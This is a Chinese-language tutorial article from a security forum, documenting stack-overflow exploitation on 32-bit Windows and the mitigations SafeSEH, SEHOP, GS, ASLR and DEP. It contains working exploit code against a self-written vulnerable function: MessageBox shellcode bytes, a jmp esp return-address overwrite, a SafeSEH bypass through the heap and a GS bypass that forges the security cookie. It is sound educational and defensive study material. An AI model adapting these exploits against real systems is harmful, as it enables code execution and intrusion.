查看原文
其他

Windows平台下栈溢出漏洞学习笔记

1900 看雪学苑 2022-07-01


本文为看雪论坛优秀‍‍‍文章
看雪论坛作者ID:1900




漏洞原理


要理解该漏洞的成因,最重要的是要理解函数执行细节,具体细节可以参考:从反汇编的角度学C/C++之函数(https://bbs.pediy.com/thread-269590.htm)

简单来说,由于程序使用call指令调用函数的时候,会改变eip的值,以此来修改程序要执行的指令的地址。而为了让程序在执行完函数以后可以正确返回到调用完函数以后要执行的指令地址,在通过call指令调用函数的时候,除了会修改eip为函数的地址,也会将call指令的下一条指令地址(返回地址)保存在栈中。

同时,在Debug模式下,函数内部也会保存调用函数前的ebp的值,并将ebp的值调整到栈顶。接着将栈顶指针esp减去一定的大小,开辟出一段栈空间,用来将局部变量保存在栈中,此时esp指向的就是开辟的这段栈空间的栈顶,ebp指向的是栈空间的栈底,最终形成的栈的局部就会如下图所示:
此时就可以通过ebp来方便的对局部变量和参数进行操作,[ebp - X]就可以获取相应的局部变量,[ebp + 0x8 + X]就可以获得相应的参数。而函数返回的时候,函数会通过mov esp, ebp指令,将栈顶esp指针指向栈底指针ebp,接着指向pop ebp将保存的原ebp的值赋值给ebp,此时esp将指向保存返回地址的栈地址。

最终函数通过调用retn指令来退出函数,该指令会将esp指向的栈地址中所保存的返回地址赋值给eip。也就是说,函数执行完毕之后,继续执行的指令地址此时就会由在栈中保存的返回地址来决定。

由上图可知,保存返回地址和原ebp的栈地址是紧跟在局部变量后面的。如果函数没有对用户输入的数据长度进行验证,就将输入的数据保存在局部变量中,就很有可能导致输入的数据覆盖掉返回地址。这样,就导致了返回地址被修改,那么函数退出以后要执行的指令的地址就会变成覆盖以后所指定的地址。

如下的代码执行的功能很简单,仅仅是将pSzInput指向的字符串复制到局部变量szStr中。但是,此时函数并没有对pSzInput所指向的字符串的长度进行验证,且strcpy函数也只是以0x0作为字符串结束符,将pSzInput所指向的字符串复制到局部变量szStr中。此时,如果pSzInput所指向的字符串长度大于0x8,就会导致复制完以后的数据溢出局部变量szStr的栈空间,导致覆盖掉返回地址产生漏洞。
void test(char *pSzInput){ char szStr[0x8] = { 0 }; strcpy(szStr, pSzInput);}

接下来通过调试器来观察数据的保存,首先通过如下代码查看正常情况下,也就是输入数据的长度小于0x8的时候,数据是如何保存的。
int main(){ char szInput[0x100] = { 0 }; int iInputLen = 0x8; memset(szInput, 'A', iInputLen); test(szInput); system("pause"); return 0;}

将程序运行到strcpy函数调用前,此时ecx保存的就是要赋值的目标字符串的地址,可以看到在赋值前,该数组的元素都是0。紧邻这个数组后面的栈地址,所保存的就是原ebp以及返回地址。
执行完strcpy函数以后,数组中的元素都变成了0x41,也就是字符'A'对应的asscill码值。
紧跟该数组保存的就是原ebp和返回地址的值。因为输入数据的长度没有超过数据szStr的大小(0x8),因此,原ebp和返回地址并没有被覆盖掉,函数可以正常返回到调用函数的指令的下一条指令开始正常运行。

但是,如果此时输入数据的长度超过局部变量数组szStr的长度(0x8)的话,输入数据就会将原ebp以及返回地址覆盖掉。接下来,将输入数据的长度修改为0x10,这样就可以刚好覆盖掉原ebp和返回地址。
int main(){ char szInput[0x100] = { 0 }; int iInputLen = 0x10; memset(szInput, 'A', iInputLen); test(szInput); system("pause"); return 0;}

此时,调用完strcpy以后,可以看到输入数据将原ebp以及返回地址全部覆盖掉了,修改成了字符'A'对应的asscill值。
函数继续运行,在运行retn指令返回函数前,可以看到esp所指向的栈地址中保存的返回地址被修改成了0x41414141。
接着执行retn指令,程序就会将eip修改为0x41414141。
由于0x41414141这个地址没有保存合法的指令,因此程序会抛出异常。


2、漏洞利用


由上内容可以知道,可以通过控制输入数据的长度和数值实现对返回地址的修改。这样,当函数执行retn指令退出函数的时候,就会将eip修改为指定的地址,而在该地址中,如果保存想要运行的指令了,就成功利用了该漏洞实现了对程序的劫持。

由于,此时只能控制栈中保存的数据,所以要执行的指令就只能保存在栈中。因此,想要执行保存在栈中的指令,就需要将eip修改为栈中的地址,这样就会运行保存在栈中的指令。

而实现该功能的最佳选择就是jmp esp指令,该指令对应的指令编码是0xFFE4。因此,可以想办法在程序中找到这条指令的地址,修改程序的返回地址为保存该指令的地址,这样退出函数的时候,程序就会跳转到jmp esp指令。通过该指令,eip就会修改为esp中保存的地址,而在通过retn指令退出函数的时候,该指令会将esp加4,也就是说此时的esp指向的是保存返回地址的栈地址的随后的地址。

而jmp esp指令的地址,最好从ntdll.dll中获取,因为该dll是最早映射到进程空间的dll,因此它在每个进程中的地址基本是一致的。在我的测试系统上,ntdll.dll中保存该指令的地址是0x7C961EED。因此,可以通过将返回地址修改为该地址的方式,实现将eip修改为栈中空间的地址。
现在已经可以让程序退出函数的时候,成功跳转到保存了返回地址的栈地址偏移0x4的地址继续执行。因此,此时只需要将要运行的指令跟在返回地址之后,就可以实现执行想要的代码,这段代码也成为ShellCode。

下面就是一段简单的ShellCode,功能是执行一个MessageBox函数,然后在调用ExitProcess退出程序,因此此时是因为strcpy产生的漏洞,所以,编写的ShellCode不能含有0,否则的话就会被strcpy认为字符串已经结束,导致ShellCode运行失败。调用的函数MessageBox和ExitProcess需要是测试的机器上的地址,这个可以使用调试器获取。
char g_szShellCode[] = { 0x33, 0xDB, // xor ebx, ebx 0x53, // push ebx,将字符串的结束符0压入栈中 0x68, 0x68, 0x61, 0x63, 0x6B, // push 0x6B636168,将字符串"hack"压入栈中 0x8B, 0xC4, // mov eax, esp,将字符串的首地址赋给eax 0x53, // push ebx 0x50, // push eax 0x50, // push eax 0x53, // push ebx 0xB8, 0x0B, 0x05, 0xD5, 0x77, // mov eax, user32.MessageBox 0xFF, 0xD0, // call eax 0x53, // push ebx 0xB8, 0xA2, 0xCA, 0x81, 0x7C, // mov eax, user32.ExitProcess 0xFF, 0xD0 // call eax };

最终完成漏洞利用的代码如下:
int main(){ char szInput[0x100] = { 0 }; int iJunkLen = 0x8; int iEbpLen = 0x4; int iRetLen = 0x4; DWORD dwRetAddr = 0x7C961EED; // jmp esp地址 LoadLibrary("user32.dll"); // MessageBox函数在该中,需要将其导入才可以调用 memset(szInput, 'A', iJunkLen); // 覆盖局部变量szStr memset(szInput + iJunkLen, 'B', iEbpLen); // 覆盖ebp *(PDWORD)(szInput + iJunkLen + iEbpLen) = dwRetAddr; // 覆盖返回地址 strcpy(szInput + iJunkLen + iEbpLen + iRetLen, g_szShellCode); // 保存ShellCode test(szInput); system("pause"); return 0;}

编译好程序以后,首先查看当strcpy运行完时的栈中数据可以看到,此时的原ebp和返回地址已经被覆盖掉,返回地址修改为了ntdll.dll中的地址。
当执行retn指令的时候,此时的栈顶保存的就是ntdll.dll中的该地址。
因此,继续执行retn指令,就会跳转到ntdll.dll中的地址执行,而该地址保存的指令就是jmp esp。且此时的esp进行了+4的操作,所以此时的esp,就是紧跟在输入数据中返回地址后的ShellCode。
因此,继续执行jmp esp指令,就会让程序跳转到在栈中保存的ShellCode执行。
继续执行ShellCode就会弹窗后退出函数。




Windows安全机制


为了缓解栈溢出漏洞带来的问题,微软提供了如下的内存保护措施:

增加了对S.E.H的安全机制,能够有效地挫败绝大多数通过改写S.E.H而劫持进程地攻击。

使用GS编译技术,在函数返回地址之前加入了Security Cookie,在函数返回前首先检测Security Cookie是否被覆盖,从而把针对操作系统的栈溢出变得非常困难。

DEP(数据执行保护)将数据部分标识为不可执行,阻止了栈中攻击代码的执行。

ASLR(加载地址随机)技术通过对系统关键地址的随机化,使得经典栈溢出手段失效。

SEHOP(S.E.H覆盖保护)作为对安全S.E.H机制的补充,SEHOP将S.E.H的保护提升到系统级别,使得S.E.H的保护机制更为有效。

接下来将一一对这些技术进行介绍。




通过SEH实现漏洞利用


1、利用原理


SEH即异常处理结构体,它是Windows异常处理机制所采用的重要数据结构。每个SEH包含两个DWORD指针:SEH链表指针和异常处理函数句柄,共八字节,如下图所示:
SEH的结构体是保存在系统栈中的,栈中一般会同时存在多个SEH。这些SEH会通过链表指针由栈顶向栈底串成单项链表,位于链表最顶端的SEH通过TEB偏移为0字节所保存的指针标识,如下图所示。
当异常发生时,操作系统会中断程序,并首先从TEB的0字节偏移处取出距离栈顶最近的SEH,使用异常处理函数句柄所指向的代码来处理异常。当离“事故现场”最近的异常处理函数运行失败时,将顺着SEH链表以此尝试其他的异常处理函数。如果程序安装的所有异常处理函数都不能处理,系统将采用默认的异常处理函数。通常,这个函数会弹出一个错误对话框,然后强制关闭程序。

由于SEH是存放在栈中的,因此如果数据溢出缓冲区,那么就很有可能会淹没掉SEH。以下就是利用SEH来产生攻击的步骤:

① 精心制造的溢出数据可以把SEH中异常处理函数的入口地址更改为shellcode的起始地址

② 溢出后错误的栈往往会触发异常

③ 当Windows开始处理溢出后的异常时,会错误地把shellcode当作异常处理函数而执行


接下来依然使用上面有栈溢出漏洞的test函数作为测试,但是此时需要在栈中注册一个结构化异常处理器。注册的方式也很简单,只要在栈中保存一份SEH结构体即可,且异常处理函数指针指向的函数满足如下的格式:
EXCEPTION_DISPOSITION except_handler(_EXCEPTION_RECORD *ExceptionRecord, void *EstablisherFrame, _CONTEXT *ContextRecord, void *DispatcherContext);

因此对于函数的调用,要改成如下的代码:
// 注册异常处理器__asm{ push except_handler // 处理器结构指针 push fs:[0] // 前一个结构化异常处理器的地址 mov fs:[0], esp // 登记新的结构} test(szInput); // 销毁异常处理器__asm{ mov eax, [esp] // 从栈顶取得前一个异常登记结构的地址 mov fs:[0], eax // 将前一个异常结构的地址赋给 add esp, 8 // 清理栈上的异常登记结构}

由于要覆盖的是异常处理函数地址,所以要计算test函数中的局部变量具体SEH结构的偏移,这样才可以构造足够长度的输入数据来覆盖第一个异常处理函数之前的栈空间,然后才可以覆盖掉异常处理函数的地址。

因此首先要在调试器中中断到test函数的strcpy函数的调用处。
可以看到此时局部变量的保存地址是0x12FE00,异常处理函数的保存地址是0x12FE18。因此,局部变量地址距离SEH结构的地址相差0x18,首先就需要对这0x18大小的栈空间进行覆盖,随后在的4字节覆盖的就是异常处理函数的地址,可以将其覆盖为shellcode的地址,这样程序出现异常的时候就会跳转到shellcode的地址继续执行。据此,可以写出如下的漏洞利用代码:
int main(){ char szInput[0x100] = { 0 }; int iJunkLen = 0x18; LoadLibrary("user32.dll"); // MessageBox函数在该中,需要将其导入才可以调用 memset(szInput, 'A', iJunkLen); // 覆盖异常处理函数之前的数据 *(PDWORD)(szInput + iJunkLen) = (DWORD)g_szShellCode; // 将异常处理函数修改为SellCode的地址 // 注册异常处理器 __asm { push except_handler // 处理器结构指针 push fs:[0] // 前一个结构化异常处理器的地址 mov fs:[0], esp // 登记新的结构 } system("pause"); test(szInput); // 销毁异常处理器 __asm { mov eax, [esp] // 从栈顶取得前一个异常登记结构的地址 mov fs:[0], eax // 将前一个异常结构的地址赋给 add esp, 8 // 清理栈上的异常登记结构 } system("pause"); return 0;}

在调试器中可以看到,当test函数执行完strcpy以后,SEH结构被覆盖掉,此时异常处理函数指向了shellcode的地址。

程序继续向下运行,由于返回地址被修改会0x41414141,所以执行retn指令会出现异常。在处理异常的过程中,就会执行shellcode。

2、SafeSEH


在Windows XP SP2及后续版本的操作系统中,微软引入了SEH校验机制SafeSEH。SafeSEH的原理很简单,在程序调用异常处理函数前,对要调用的异常处理函数进行一系列的有效性校验,当发现异常处理函数不可靠时将终止异常处理函数的调用。SafeSEH实现需要操作系统与编译器的双重支持,二者缺一都会降低SafeSEH的保护能力。

在编译器层面,编译器通过启用/SafeSEH链接选项可以让编译好的程序具备SEH功能,这一链接选项在Visual Studio 2003及后续版本中是默认启用的。启用该链接选项后,编译器在编译程序的时候将程序所有的异常处理函数地址提取出来,编入一张安全的SEH表,并将这张表放到程序的映像里面。当程序调用异常处理函数的时候会将函数地址与安全SEH表进行匹配,检查调用的异常处理函数是否位于安全SEH表中。

在系统层层面,SafeSEH机制是在异常分发函数RtlDispatchException函数开始的,以下是其保护措施:

① 检查异常处理链是否位于当前程序的栈中。如果不在当前栈中,程序将终止异常处理函数的调用。

② 检查异常处理函数指针是否指向当前程序的栈中。如果指向当前栈中,程序将终止异常处理函数的调用。

③ 在前两项检查都通过后,程序调用一个全新的函数RtlIsValidHandler(),来对异常处理函数的有效性进行验证。


其中,RtlIsValidHandler函数的执行流程如下:

首先,该函数判断异常处理函数地址是不是在加载模块的内存空间,如果属于加载模块的内存空间,校验函数将依次进行如下校验:
判断程序是否设置了IMAGE_DLLCHARACTERSTICS_NO_SEH标识。如果设置了这个标识,这个程序内的异常会被忽略。所以这个标志被设置时,函数直接返回校验失败;

检测程序是否包含SEH表。如果程序包含SEH表,则将当前的异常处理函数地址与该表进行匹配,匹配成功则返回校言成功,匹配失败则返回校验失败;

判断程序是否设置了ILonly标识。如果设置了这个标识,说明该程序只包含.NET编译的中间语言,函数直接返回校验失败;

判断异常处理函数地址是否位于不可执行页上。当异常处理函数地址位于不可执行页上,校验函数将检测DEP是否开启,如果系统未开启DEP则返回校验成功,否则程序抛出访问违例的异常。

如果异常处理函数的地址没有包含在加载模块的内存空间,校验函数将直接进行DEP相关检测,函数依次进行如下校验:
判断异常处理函数地址是否位于不可执行页上。当异常处理器函数地址位于不可执行页上时,校验函数将检测DEP是否开启,如果系统未开启DEP则返回校验成功,否则程序抛出违例的异常。
判断系统是否允许跳转到加载模块的内存空间外执行,如果允许则返回校验成功,否则返回校验失败。

下图是RtlDispatchException函数的校验流程:
由于SafeSEH机制的存在,上述的漏洞利用方式就会无效。程序在检测到异常处理函数的异常以后,将会直接退出程序,而不会去执行ShellCode。所以,要想成功利用漏洞,就需要绕过SafeSEH机制。

3、从堆中绕过SafeSEH


由于当异常处理函数指向堆中的内存地址的时候,不会触发SafeSEH机制。因此,可以通过将ShellCode复制到堆中,同时将异常处理函数覆盖为保存了ShellCode的堆地址的方式来绕过SafeSEH机制,触发漏洞。

此时的漏洞利用代码如下:
int main(){ char *buf = (char *)malloc(100); char szInput[0x100] = { 0 }; int iJunkLen = 0x18; LoadLibrary("user32.dll"); // MessageBox函数在该中,需要将其导入才可以调用 // 将ShellCode复制到堆中 memset(buf, 0, 100); strcpy(buf, g_szShellCode); memset(szInput, 'A', iJunkLen); // 覆盖异常处理函数之前的数据 *(PDWORD)(szInput + iJunkLen) = (DWORD)buf; // 将异常处理函数修改为申请的堆的地址 // 注册异常处理器 __asm { push except_handler // 处理器结构指针 push fs:[0] // 前一个结构化异常处理器的地址 mov fs:[0], esp // 登记新的结构 } test(szInput); // 销毁异常处理器 __asm { mov eax, [esp] // 从栈顶取得前一个异常登记结构的地址 mov fs:[0], eax // 将前一个异常结构的地址赋给 add esp, 8 // 清理栈上的异常登记结构 } system("pause"); return 0;}

此时运行程序,则ShellCode就会顺利执行。

4、利用未启用SafeSEH模块绕过SEH


当异常处理函数指向的地址在未开启SafeSEH模块的时候,也可以突破SafeSEH机制。如下图所示,此时的SEH_NoSafeSEH_JUMP.dll没有开启SafeSEH。那就可以尝试从该模块中查找可以修改eip执行的指令,将异常处理函数的地址修改为该指令的地址,就可以实现对程序的劫持。
在该模块中的0x11121012和0x11121015都有pop + retn组合的指令,这样的组合可以控制程序的运行。接下来用以下代码查看运行的细节:
int main(){ char szInput[0x100] = { 0 }; int iJunkLen = 0x18; LoadLibrary("SEH_NoSafeSEH_JUMP.dll"); // 导入关闭SafeSEH的模块 LoadLibrary("user32.dll"); // MessageBox函数在该中,需要将其导入才可以调用 memset(szInput, 'A', iJunkLen); // 覆盖异常处理函数之前的数据 *(PDWORD)(szInput + iJunkLen) = (DWORD)0x11121014; // 要跳转到的未开启SafeSEH的模块的地址 system("pause"); // 注册异常处理器 __asm { push except_handler // 处理器结构指针 push fs:[0] // 前一个结构化异常处理器的地址 mov fs:[0], esp // 登记新的结构 } test(szInput); // 销毁异常处理器 __asm { mov eax, [esp] // 从栈顶取得前一个异常登记结构的地址 mov fs:[0], eax // 将前一个异常结构的地址赋给 add esp, 8 // 清理栈上的异常登记结构 } system("pause"); return 0;}

运行程序以后,使用调试器对其进行附加,在程序执行完strcpy的时候可以看到异常处理函数地址已经被修改为未开启SafeSEH的模块的地址。
在该地址下断点以后,继续运行程序,可以看到程序成功跳转到该处执行。此时已经证明,通过将异常处理函数地址修改为未开启SafeSEH模块的地址是可以绕过SafeSEH。但是此时的esp的值变得过小(和局部变量szStr相差-0x3C0),导致漏洞难以利用,就没有再进一步尝试执行ShellCode


5、利用加载模块之外的地址绕过SafeSEH


一个进程会以共享的方式打开多个其他文件,此时保存这些文件内容的内存的类型是Map类型,如下图所示。SafeSEH是无视它们的,当异常处理函数指针指向的是这些地址范围内,是不对其进行有效性验证的。因此,可以通过在这些模块中查找跳转指令,将指令地址覆盖给异常处理函数,就可以绕过SafeSEH。
基本上做法和上面的差不多,只不过这次换成了用共享内存的方式加载的其他模块中,然后问题也是同样的(esp太小),不好利用,就不继续了。




SEHOP


SEHOP是一种更为严厉的SEH保护机制,Windows7,Windows10等系统均支持。想要开启SEHOP,只需要在注册表的HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel下找到DisableExceptionChainValidation项,将该值设置为0,即可启用SEHOP,如下图所示:


SEHOP的核心任务就算上检查SEH链的完整性,在程序转入异常处理前SEHOP会检查SEH链上最后一个异常处理函数是否为系统固定的终极异常处理函数。如果是,则说明这条SEH链没有被破坏,程序可以去执行当前的异常处理函数;如果不是,则说明SEH链被破坏,可能发生了SEH覆盖攻击,程序将不会去执行当前的异常处理函数。

下图是典型的SEH攻击的流程,攻击时将SEH的异常处理函数地址覆盖为跳板指令地址,跳板指令根据实际情况进行选择。当程序出现异常的时候,系统会从SEH链中取出异常处理函数来处理异常,异常处理函数的指针已经被覆盖,程序的流程就会被劫持,在经过一系列跳转后转入shellcode执行。
由于覆盖异常处理函数指针时同时覆盖了下一异常处理结构的指针,这样的话SEH链就会被破坏,从而被SEHOP检测出来。

作为对SafeSEH强有力的补充,SEHOP检查是在SafeSEH的RtlIsValidHandler函数检验前进行的,也就是说利用攻击模块之外的地址,堆地址和未启用SafeSEH模块的方法都行不通了。

想要突破SEHOP就要如下图所示,伪造异常链表,使最后一个异常处理结构的异常处理函数指向最终的异常处理函数。
伪造SEH链表绕过SEHOP需要具备以下这些条件:

图中的0xXXXXXXXX地址必须指向当前栈中,而且必须能够被4整除;

0xXXXXXXXX处存放的异常处理记录作为SEH的最后一项,其异常处理函数指针必须指向终极异常处理函数;

突破SEHOP检查后,溢出程序还需要搞定SafeSEH。




GS安全机制


1、保护原理


针对缓冲区溢出时会覆盖函数返回地址这一特征,微软的编译器在编译程序的时候引入了GS安全机制,在Visual Studio 2003及以后版本的Visual Studio中,可以通过项目属性页的配置属性 -> C/C++ -> 代码生成 -> 缓冲区安全检查来选择开启还是关闭GS安全机制。

GS编译选项为每个函数调用增加了一些额外的数据和操作,用以检测栈中的溢出。

在所有函数调用发生时,向栈帧内压入一个额外的随机DWORD,这个随机数被称为"canary",但如果使用IDA反汇编的话,会看到IDA将这个随机数标注为"Security Cookie"。

"Security Cookie"位于EBP之前,系统还将在.data的内存区域中存放一个Security Cookie的副本,如图10.1.2所示。

当栈中发生溢出时,Security Cookie将被首先淹没,之后才是EBP和返回地址。

在函数返回之前,系统将执行一个额外的安全验证操作,被称作Security check。

在Security check的过程中,系统将比较栈帧中原先存放的Security Cookie和.data中副本的值,如果两者不吻合,说明栈帧中的Security Cookie已被破坏,即栈中发生了溢出。

当检测到栈中发生溢出时,系统将进入异常处理流程,函数不会被正常返回,ret指令也不会被执行,如图10.1.3所示。

但是额外的数据和操作带来的直接后果就是系统性能的下降,为了将对性能的影响讲到最小,编译器在编译程序的时候并不是对所有的函数都应用GS,以下的情况不会应用GS:
  • 函数不包含缓冲区
  • 函数被定义为具有变量参数列表
  • 函数使用无保护的关键字标记
  • 函数在第一个语句中包含内嵌汇编代码
  • 缓冲区不是8字节类型且大小不大于4个字节

从Visual Studio 2005开始,就引入了一个新的安全标识符
#pragma strict_gs_check

如下所示,可以通过该标识让不符合GS保护条件的函数添加GS保护
#pragma strict_gs_check(on)void func(){ char szStr[4];}

除了在返回地址前面添加Security Cookie外,在Visual Studio 2005及以后的版本中,还是用了变量重排技术,在编译时根据局部变量的类型对变量在栈帧中的位置进行调整,将字符串变量移动到栈帧的高地址。这样可以防止该字符串溢出时破坏其他的局部变量。同时,还会将指针参数和字符串参数赋值到内存中低地址,防止函数参数被破坏。

如下图所示,在不启用GS的时候,如果变量Buff发生溢出变量i,返回地址,函数参数arg等都会被覆盖,而启用GS后,变量Buff被重新调整到栈帧的高地址,因此当Buff溢出时不会影响变量i的值,虽然函数参数arg还是会被覆盖,但由于程序会在栈帧低地址处保存参数的副本,所以Buff的溢出也不会影响到传递进来的函数参数。
对于上面存在漏洞的test函数,当它在开启了GS保护的编译器中编译出来的程序会如下所示,其中与未开启GS保护时候产生的代码的不同之处已用注释标识出来。
void test(char *pSzInput){00401030 push ebp 00401031 mov ebp,esp 00401033 sub esp,4Ch 00401036 mov eax,dword ptr [___security_cookie (456020h)] // 将Security Cookie赋值给eax0040103B xor eax,ebp // 将eax与ebp的值异或0040103D mov dword ptr [ebp-4],eax // 将异或以后的结果赋给[ebp - 4]00401040 push ebx 00401041 push esi 00401042 push edi char szStr[0x8] = { 0 };00401043 mov byte ptr [ebp-0Ch],0 00401047 xor eax,eax 00401049 mov dword ptr [ebp-0Bh],eax 0040104C mov word ptr [ebp-7],ax 00401050 mov byte ptr [ebp-5],al strcpy(szStr, pSzInput);00401053 mov eax,dword ptr [ebp+8] 00401056 push eax 00401057 lea ecx,[ebp-0Ch] 0040105A push ecx 0040105B call strcpy (4013F0h) 00401060 add esp,8 }00401063 pop edi 00401064 pop esi 00401065 pop ebx 00401066 mov ecx,dword ptr [ebp-4] // 取出[ebp - 4]的值赋给ecx00401069 xor ecx,ebp // 将ecx的值与ebp异或 0040106B call __security_check_cookie (4014F0h) // 调用Security Check函数00401070 mov esp,ebp 00401072 pop ebp 00401073 ret

由上内容可知,Security Cookie产生的细节如下:

系统以.data节的第一个双子作为Cookie的种子,或称原始Cookie(所有函数的Cookie都是用这个DWORD生成);

在程序每次运行时Cookie的种子都不同,因此种子有很强的随机性;

在栈帧初始化以后系统用EBP异或种子,作为当前函数的Cookie,以此作为不同函数之间的区别,并增加Cookie的随机性;

在函数返回前,用EBP还原出(异或)Cookie的种子。


2、突破GS保护


由此可以知道,想要突破GS保护,需要同时对保存在.data中的Cookie和保存在栈中的Cookie进行修改。

考虑如下代码,此时的buf指针会指向一个堆空间,参数i因为是个有符号整型,因此当它为负数的时候依然会进入到if语句中,此时就可以通过计算堆变量的地址与.data节中保存的Security Cookie的地址来得出i值应该如何输入可以改变.data中的Security Cookie。
void test(char *pSzInput, char *buf, int i){ char szStr[0x8] = { 0 }; if (i < 0x100) { *(PDWORD)(buf + i) = *(PDWORD)pSzInput; strcpy(szStr, pSzInput); }}

经过调试器验证发现,申请的堆变量地址为0x00455020,Security Cookie的地址为0x00460068,两者相差-0xB048。因此,当参数i的值为-0xB048的时候,可以直接修改.data中保存的Security Cookie。

此时,可以选择0x90909090作为修改以后的值,而同时还要获取程序在该函数运行到Security Check的时候寄存器ebp的值,这样才可以算出保存在栈中的Security Cookie的值。同样经过调试器验证发生,此时的ebp的值为0x0012FDFC,与写入的Security Cookie的值进行异或得到的值是0x90826E90。

只要将栈中的Security Cookie和.data中的Security Cookie的值修改到可以通过验证,剩下的工作就是最上面的修改返回地址为jmp esp的地址。最终完整的漏洞利用代码如下:
int main(){ char *buf = (char *)malloc(0x10000); char szInput[0x100] = { 0 }; int iSize = 4; LoadLibrary("user32.dll"); // MessageBox函数在该DLL中,需要将其导入才可以调用 *(PDWORD)szInput = 0x90909090; // 用来修改.data中的Security Cookie值 memset(szInput + iSize, 'A', iSize); // 覆盖局部变量szStr *(PDWORD)(szInput + iSize + iSize) = 0x90826E90; // 覆盖栈中的Security Cookie memset(szInput + iSize + iSize + iSize, 'B', iSize); // 覆盖ebp *(PDWORD)(szInput + iSize + iSize + iSize + iSize) = 0x7C961EED; // 覆盖返回地址为jmp esp指令地址 strcpy(szInput + iSize + iSize + iSize + iSize + iSize, g_szShellCode); // 复制ShellCode test(szInput, buf, -0xB048); system("pause"); return 0;}

编译后程序后,在调试器中strcpy函数后面下断点,可以看到此时.data中的Security Cookie已经被成功修改为0x90909090,栈中的Security Cookie和返回地址也都被成功覆盖。
继续运行程序,可以看到在Security Check函数运行前,ecx的值已经变成0x90909090,因此此时不会触发GS保护。
继续向下运行,就会和上面一样,跳转到ShellCode处执行,弹出窗口。




ASLR安全机制


1、保护原理


利用栈溢出漏洞的时候,往往都需要确定一个明确的跳转指令地址。无论是jmp esp等通用跳板指令还是Ret2Libc使用的各指令,我们都需要先确定这条指令的入口点。微软的ASLR技术就是通过加载程序的时候不再使用固定的基址加载,从而干扰shellcode定位的一种保护机制。

与SafeSEH类似,ASLR的实现也需要程序自身和操作系统的双重支持。支持ASLR的程序会在它的PE头中设置IMAGE_DLL_CHARACTERISITICS_DYNAMIC_BASE标识来说明其支持ASLR,如下图所示:
微软从Visual Studio 2005 SP1开始加入了/dynamicbase链接选项来帮我们完成这个任务,我们只需要在编译程序的时候启用/dynamicbase链接选项,编译好的程序就支持ASLR了。在编译器中,只需要通过项目属性页 -> 配置属性 -> 链接器 -> 高级 -> 随机基址选项来对/dynamicbase链接选项进行设置,如下图所示:
微软在系统中设置了映像随机开关,用户可以通过设置注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentSet\Control\Session Manager\Memory Management\MoveImages的键值来设定映像随机化的工作模式:

设置为0时映像随机化禁用;

设置为-1时强制对可随机化的映像进行处理,无论是否设置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标识;

设置为其他值时为正常工作模式,只对具有随机化处理标识的映像进行处理。


如果注册表中不存在,也可以新建一项,并根据需要进行设定,如下图所示:

对于启用了ASLR机制的模块,在系统重启以后,其模块的加载基地址会发生改变,如下图所示:


开启ASLR的模块,其堆栈地址也会被随机化,与映像基址随机化不同的是堆栈的基址不是在系统启动的时候确定的,而是在打开程序的时候确定的,也就是说同一个程序任意两次运行时的堆栈基址是不同的,进而各变量在内存中的位置也就不确定。

例如,如下代码在是否启用ASLR的模块中的输出是不同的:
void test(){ char szStr[0x4]; char *pHead = (char *)malloc(0x4); printf("Stack Addr:0x%X\nHeap Addr:0x%X\n", (DWORD)szStr, (DWORD)pHead);}

对于启用了ASLR的程序,其两次的堆栈地址是不同的。
而如果关闭了ASLR,则在Win7系统上,栈地址会相同(如果是xp系统,堆地址也会相同)。
对于启用ASLR的程序,此时通过指定跳转指令地址的方式会由于系统的重启而失效。因此,需要通过将跳转地址设定为未启用ASLR模块中的地址才可以绕过ASLR保护机制。

但是一个程序中存在未启用ASLR的模块毕竟是少数,最好还是通过接下来介绍的利用部分覆盖进行定位内存的方式来绕过ASLR。

2、ASLR的绕过


之所以可以使用部分覆盖的方式绕过ASLR是因为ASLR只是随机化了映像的加载基址,而没有对指令序列进行随机化。比如说我们当前程序的0x12345678的位置找到了一个跳板指令,那么系统重启之后这个跳板指令的地址可能会变为0x21345678,也就是说这个地址的相对于基址的位置(后16位)是不变的,那么就可以通过修改后16位来一定程度上控制程序的运行。因此,只要在合适的位置找到了合适的跳板指令就可以绕过ASLR。

如果通过memcpy类的函数攻击的话就可以将后16位的偏移改为0x0000~0xFFFF中的任意一个;如果是通过strcpy来攻击的话,因此这类函数会在复制结束后自动添加0x00,所以此时可以控制的范围是0x0000~0x00FF

以下代码是通过memcpy函数为局部变量赋值的时候,存在栈溢出漏洞的代码:
char g_szExploit[262] = { 0 }; void test(){ char szStr[256] = { 0 }; memcpy(szStr, g_szExploit, 262);}

首先编译程序,在调试中的memcpy下断点,可以看到栈变量到返回地址的偏移是0x104。
由于此时是局部覆盖,因此,ShellCode需要保存在输入数据的前面,而在执行retn的时候,寄存器eax执行的就是局部变量szStr的地址,因此可以通过在当前模块中找到call / jmp eax的指令来实现功能,用该指令的偏移地址(后16位)来进行返回地址的覆盖。
可是经过调试,并没有发现模块中存在jmp / call eax的指令,所以就没有继续,附上半成品的利用代码。
int main(){ LoadLibrary("user32.dll"); // MessageBox函数在该DLL中,需要将其导入才可以调用 memcpy(g_szExploit, g_szShellCode, sizeof(g_szShellCode)); // 复制ShellCode memset(g_szExploit + sizeof(g_szShellCode), 0x90, 0x104 - sizeof(g_szShellCode) - 2); // 覆盖剩余空间 *(PSHORT)(g_szExploit + 0x104 - 2) = 0xXXXX; // 覆盖返回地址的偏移地址 test(); system("pause"); return 0;}




DEP安全机制


1、保护原理


DEP的主要作用是阻止数据页(如默认的堆页,各种堆栈页以及内存池页)执行代码。DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。如下图所示:

DEP机制需要CPU的支持,AMD和Intel都为此作了设计,AMD称之为No-Execute Page-Protection(NX),Intel称之为Execute Disable Bit(XD),两者功能及工作原理在本质上是相同的。

操作系统通过设置内存页的NX/XD属性标记,来指明不能从该内存执行代码。为了实现这个功能,需要在内存的页面表中加入特殊的标识位(NX/XD)来标识是否允许在该页上执行指令。

下图是Intel CPU在开启PAE分发模式情况下的PDE和PTE,可以看到此时的PDE和PTE最高位即XD位,当该为为1的时候,此时PTE所指向的物理页中保存的二进制数值不允许被用来当作指令执行。
编译链接选项/NXCOMPAT是与DEP密切相关的程序链接选项,是在Visual Studio 2005及后续的版本中引入了一个链接选项,默认情况下是开启的。通过属性页 -> 配置属性 -> 链接器 -> 高级 -> 数据执行保护(DEP)来选择是否使用该编译选项。
